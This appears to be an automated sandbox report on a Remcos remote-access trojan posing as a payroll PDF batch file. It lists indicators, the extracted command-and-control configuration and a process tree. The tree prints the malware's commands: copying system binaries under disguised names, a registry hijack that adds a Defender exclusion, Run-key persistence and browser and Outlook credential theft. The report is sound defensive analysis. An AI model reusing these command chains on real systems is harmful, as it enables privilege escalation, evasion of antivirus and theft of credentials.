remcos | d9ec6827066afb3585d4c9387120f8fbba598ea3a2d23fda4350684f62f0caa2

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
29/07/2024, 03:52

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General

Target
Payroll for July.PDF.bat
Size 4.9MB
Sample240729-efkenawend
SHA256 68711195c07e287987488f7045c7147501ccfbae22318b8460d01a86d2f09599
MD5 221325197f9623e7be8285e05b28c8db
SHA1 e96b0bf85a8b3e9544eed7b2db4db08bbaee5707
SHA512 30b445175c2700065cfecc18d839f4129297435f94649fc5f5fdc489a3151e4544abcf40e2923e2d2002e438f6bf03cdc4cdbd21d44344cc2306c25cc401e98e
SSDEEP 49152:qILm52gH9tPNjLtDgqYQQLg74MmPp1E1TlUQdbKvqsCOP1Ru4JmB/po9c4:5
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection credential_access discovery persistence rat stealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

127.0.0.1:54888
zuesremmy.duckdns.org:54888

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-Z19JY9
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/376-132-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4092-130-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3240-129-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4092-130-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3240-129-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	gspwscdY.pif
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	per.exe

Executes dropped EXE 28 IoCs

pid	Process
4328	alpha.exe
5012	alpha.exe
4336	kn.exe
3720	alpha.exe
2616	kn.exe
3484	Defux.COM
4596	alpha.exe
3224	alpha.exe
4260	gspwscdY.pif
2336	alpha.exe
4572	alpha.exe
212	alpha.exe
2836	alpha.exe
5032	alpha.exe
4272	alpha.exe
1872	xkn.exe
4924	alpha.exe
644	ger.exe
2740	per.exe
5016	alpha.exe
4852	alpha.exe
3568	alpha.exe
2788	alpha.exe
4812	alpha.exe
1616	alpha.exe
2168	alpha.exe
4552	alpha.exe
4580	alpha.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	colorcpl.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ydcswpsg = "C:\\Users\\Public\\Ydcswpsg.url"	Defux.COM

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3484 set thread context of 4260	3484	Defux.COM	105
PID 4616 set thread context of 3240	4616	colorcpl.exe	148
PID 4616 set thread context of 4092	4616	colorcpl.exe	149
PID 4616 set thread context of 376	4616	colorcpl.exe	152

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Defux.COM
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gspwscdY.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5032	PING.EXE
3568	alpha.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
4992	taskkill.exe
1804	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings\shell\open	ger.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5032	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	30	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1872	xkn.exe
1872	xkn.exe
1872	xkn.exe
3484	Defux.COM
3484	Defux.COM
3240	colorcpl.exe
3240	colorcpl.exe
376	colorcpl.exe
376	colorcpl.exe
3240	colorcpl.exe
3240	colorcpl.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
4616	colorcpl.exe
4616	colorcpl.exe
4616	colorcpl.exe
4616	colorcpl.exe
4616	colorcpl.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1872	xkn.exe
Token: SeDebugPrivilege	4992	taskkill.exe
Token: SeDebugPrivilege	1804	taskkill.exe
Token: SeDebugPrivilege	376	colorcpl.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3380 wrote to memory of 5112	3380	cmd.exe	87
PID 3380 wrote to memory of 5112	3380	cmd.exe	87
PID 3380 wrote to memory of 4328	3380	cmd.exe	89
PID 3380 wrote to memory of 4328	3380	cmd.exe	89
PID 4328 wrote to memory of 2856	4328	alpha.exe	90
PID 4328 wrote to memory of 2856	4328	alpha.exe	90
PID 3380 wrote to memory of 5012	3380	cmd.exe	91
PID 3380 wrote to memory of 5012	3380	cmd.exe	91
PID 5012 wrote to memory of 4336	5012	alpha.exe	92
PID 5012 wrote to memory of 4336	5012	alpha.exe	92
PID 3380 wrote to memory of 3720	3380	cmd.exe	93
PID 3380 wrote to memory of 3720	3380	cmd.exe	93
PID 3720 wrote to memory of 2616	3720	alpha.exe	94
PID 3720 wrote to memory of 2616	3720	alpha.exe	94
PID 3380 wrote to memory of 3484	3380	cmd.exe	95
PID 3380 wrote to memory of 3484	3380	cmd.exe	95
PID 3380 wrote to memory of 3484	3380	cmd.exe	95
PID 3380 wrote to memory of 4596	3380	cmd.exe	96
PID 3380 wrote to memory of 4596	3380	cmd.exe	96
PID 3380 wrote to memory of 3224	3380	cmd.exe	97
PID 3380 wrote to memory of 3224	3380	cmd.exe	97
PID 3484 wrote to memory of 4260	3484	Defux.COM	105
PID 3484 wrote to memory of 4260	3484	Defux.COM	105
PID 3484 wrote to memory of 4260	3484	Defux.COM	105
PID 3484 wrote to memory of 4260	3484	Defux.COM	105
PID 3484 wrote to memory of 4260	3484	Defux.COM	105
PID 4260 wrote to memory of 1908	4260	gspwscdY.pif	107
PID 4260 wrote to memory of 1908	4260	gspwscdY.pif	107
PID 1908 wrote to memory of 1836	1908	cmd.exe	110
PID 1908 wrote to memory of 1836	1908	cmd.exe	110
PID 1908 wrote to memory of 2336	1908	cmd.exe	111
PID 1908 wrote to memory of 2336	1908	cmd.exe	111
PID 1908 wrote to memory of 4572	1908	cmd.exe	112
PID 1908 wrote to memory of 4572	1908	cmd.exe	112
PID 1908 wrote to memory of 212	1908	cmd.exe	113
PID 1908 wrote to memory of 212	1908	cmd.exe	113
PID 212 wrote to memory of 4472	212	alpha.exe	114
PID 212 wrote to memory of 4472	212	alpha.exe	114
PID 1908 wrote to memory of 2836	1908	cmd.exe	116
PID 1908 wrote to memory of 2836	1908	cmd.exe	116
PID 2836 wrote to memory of 840	2836	alpha.exe	117
PID 2836 wrote to memory of 840	2836	alpha.exe	117
PID 1908 wrote to memory of 5032	1908	cmd.exe	140
PID 1908 wrote to memory of 5032	1908	cmd.exe	140
PID 5032 wrote to memory of 1936	5032	alpha.exe	119
PID 5032 wrote to memory of 1936	5032	alpha.exe	119
PID 1908 wrote to memory of 4272	1908	cmd.exe	120
PID 1908 wrote to memory of 4272	1908	cmd.exe	120
PID 4272 wrote to memory of 1872	4272	alpha.exe	121
PID 4272 wrote to memory of 1872	4272	alpha.exe	121
PID 1872 wrote to memory of 4924	1872	xkn.exe	123
PID 1872 wrote to memory of 4924	1872	xkn.exe	123
PID 4924 wrote to memory of 644	4924	alpha.exe	124
PID 4924 wrote to memory of 644	4924	alpha.exe	124
PID 1908 wrote to memory of 2740	1908	cmd.exe	125
PID 1908 wrote to memory of 2740	1908	cmd.exe	125
PID 3484 wrote to memory of 1616	3484	Defux.COM	144
PID 3484 wrote to memory of 1616	3484	Defux.COM	144
PID 3484 wrote to memory of 1616	3484	Defux.COM	144
PID 3484 wrote to memory of 4616	3484	Defux.COM	129
PID 3484 wrote to memory of 4616	3484	Defux.COM	129
PID 3484 wrote to memory of 4616	3484	Defux.COM	129
PID 3484 wrote to memory of 4616	3484	Defux.COM	129
PID 1908 wrote to memory of 5016	1908	cmd.exe	132

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3380
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:5112
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:2856
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
    3⤵
    - Executes dropped EXE
    PID:4336
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
    3⤵
    - Executes dropped EXE
    PID:2616
- C:\Users\Public\Libraries\Defux.COM
  C:\Users\Public\Libraries\Defux.COM
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3484
- - C:\Users\Public\Libraries\gspwscdY.pif
    C:\Users\Public\Libraries\gspwscdY.pif
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1FF7.tmp\2007.tmp\2008.bat C:\Users\Public\Libraries\gspwscdY.pif"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1908
    - - C:\Windows\System32\extrac32.exe
        
        C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
        5⤵
        
        PID:1836
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        5⤵
        Executes dropped EXE
        
        PID:2336
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        5⤵
        Executes dropped EXE
        
        PID:4572
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:212
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        6⤵
        
        PID:4472
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2836
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        6⤵
        
        PID:840
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5032
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        6⤵
        
        PID:1936
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c start /wait C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4272
      - C:\Users\Public\xkn.exe
        
        C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1872
        
        C:\Users\Public\alpha.exe
        
        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4924
        
        C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        8⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:644
    - - C:\Windows \System32\per.exe
        
        "C:\\Windows \\System32\\per.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2740
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
        5⤵
        Executes dropped EXE
        
        PID:5016
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettings.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4992
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
        5⤵
        Executes dropped EXE
        
        PID:4852
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettingsAdminFlows.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1804
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 5
        5⤵
        Executes dropped EXE
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3568
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 5
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5032
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
        5⤵
        Executes dropped EXE
        
        PID:2788
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
        5⤵
        Executes dropped EXE
        
        PID:4812
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
        5⤵
        Executes dropped EXE
        
        PID:1616
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:2168
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:4552
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:4580
- - C:\Windows\SysWOW64\extrac32.exe
    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Defux.COM C:\\Users\\Public\\Libraries\\Ydcswpsg.PIF
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1616
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\System32\colorcpl.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:4616
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\takskpihvdxedflrlpc"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3240
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\vupdlitbjlpjgthvuspanxy"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:4092
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\gxdveamcxuhvqavzmdjtqctlgm"
      4⤵
      PID:656
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\gxdveamcxuhvqavzmdjtqctlgm"
      4⤵
      PID:2928
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\gxdveamcxuhvqavzmdjtqctlgm"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:376
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:4596
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Defux.mpeg" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:3224

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:4180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 78e5a2007257487238061a034ea6f1af33f6fc8958bbc1508472382d14f880f7
MD5 e86a1786dea63a479a272b49b46d2cc5
SHA1 6c650d0e5c3c9dbe01ec5e98b21823a48d7ab22e
SHA512 184cc8a776367debca0a93607e56db55a1c6eddaa483908a07b091f682ace86213d346b5107986a7f59e10a7fcd723fcf02a58ac13b39dadd4518e83852b8253
MD5 SHA1 SHA512

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2008.bat

Path C:\Users\Admin\AppData\Local\Temp\1FF7.tmp\2007.tmp\2008.bat
Size 1KB
SHA256 cad29a052bcb297f5497d6c1a9d37bd938f9d3d7d75b6645f4221f379cf215ff
MD5 2828cc267a1c0676d317df16b891334a
SHA1 6d1f6449a1b77aefcc6911e4ab93906bf70f896a
SHA512 842305116619f8ef90801d9e9067bfb8aebd8244506a879aa8ba8d80bbeba12a945b7e58d96138e5ddaf684e5350c3b05437ab965050bd23a436d99e6da0bf05
MD5 SHA1 SHA512

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__PSScriptPolicyTest_nbihmdll.akd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nbihmdll.akd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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takskpihvdxedflrlpc

Path C:\Users\Admin\AppData\Local\Temp\takskpihvdxedflrlpc
Size 4KB
SHA256 c26d371c3209dea4e8cb298ab279746f0209643a1ef95ff627e2cfe193be838b
MD5 1d22632ab7786a15873206bd9aeaaf47
SHA1 f982816e813cfdd43ad3339fa6ca7bf2425651e7
SHA512 456ee2bf5faefb56b5c9864ecb340293412c0ab50d47ff8ead5b0db88f3e61e74278a46063d4b816e1143020344add8bfd8f6baac142d984693e0d7be72e4ae0
SSDEEP 48:wvvv0Q6xfvvcQ6xfdvv0Q6xBvv0Q6xakvv0Q67:mvIxvQp1vIPvIbvI7
MD5 SHA1 SHA512 SSDEEP

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Defux.mpeg

Path C:\Users\Public\Defux.mpeg
Size 3.4MB
SHA256 7af8dff6d15de6862d34cba46e7705275a5a07ac9bf6303f9ec917ff8811e3a7
MD5 7d64215898b7d6037b0863b10257b747
SHA1 1e5c8cf0d8961f7a2128d53933a374aca29d1f7c
SHA512 866757bd3e77004f7dbebe640f9d0eea7e12740bbc075af19044b03f36703c739f8042ea246eb41aec84e58bf60a71af610cab35fba4a1f8dcfbd34c354be5f6
SSDEEP 24576:hE0BqolcoAS+Z4LSoTw5/+/KlygGPGmGqtz5GflIGBk:R
MD5 SHA1 SHA512 SSDEEP

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Defux.COM

Path C:\Users\Public\Libraries\Defux.COM
Size 984KB
SHA256 0bde51c2efedcc1dc13504c70a1856f6bfb904c54b9a23b87d8aad5eda6e238f
MD5 06bcbd36656fbfdbd73023f9df4fbcf0
SHA1 7e4843dca4d8bb7bcd68513848f5725f26b380e5
SHA512 683217d47883305325a87909cfbd6378e97e3e452d565a09a7ed13d8fd6bc01ab54ff1c2f8f47c59bfc17ddb26dd3634e05a67e117cf5f1db72571cb521e371c
SSDEEP 24576:QoDIHCBqqUZk2LWE4avXEIugZncPCi4LAP0i03W7CP:Q2Qf4avEIugZQp4LAP0i03W7+
MD5 SHA1 SHA512 SSDEEP

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gspwscdY.pif

Path C:\Users\Public\Libraries\gspwscdY.pif
Size 66KB
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
SSDEEP 1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5 SHA1 SHA512 SSDEEP

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alpha.exe

Path C:\Users\Public\alpha.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

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ger.exe

Path C:\Users\Public\ger.exe
Size 75KB
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
SSDEEP 1536:/ZsKjopjN/cYXsuMdCAOznsA5q+oxxhRO+sAg9RyTVZiJXpnvo/vrK:FW5nspdCbzpq+iLcqjWXpvo/vm
MD5 SHA1 SHA512 SSDEEP

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kn.exe

Path C:\Users\Public\kn.exe
Size 1.6MB
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b
SSDEEP 24576:aCaND6ankkViMCsJf0JhY+3hvwUJDP+t3HvDGKK1V3FuNM2GRUY/ejsSvVo2:aCiDLnPipbJ5vwES3CKGVVuNM20UXa2
MD5 SHA1 SHA512 SSDEEP

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xkn.exe

Path C:\Users\Public\xkn.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
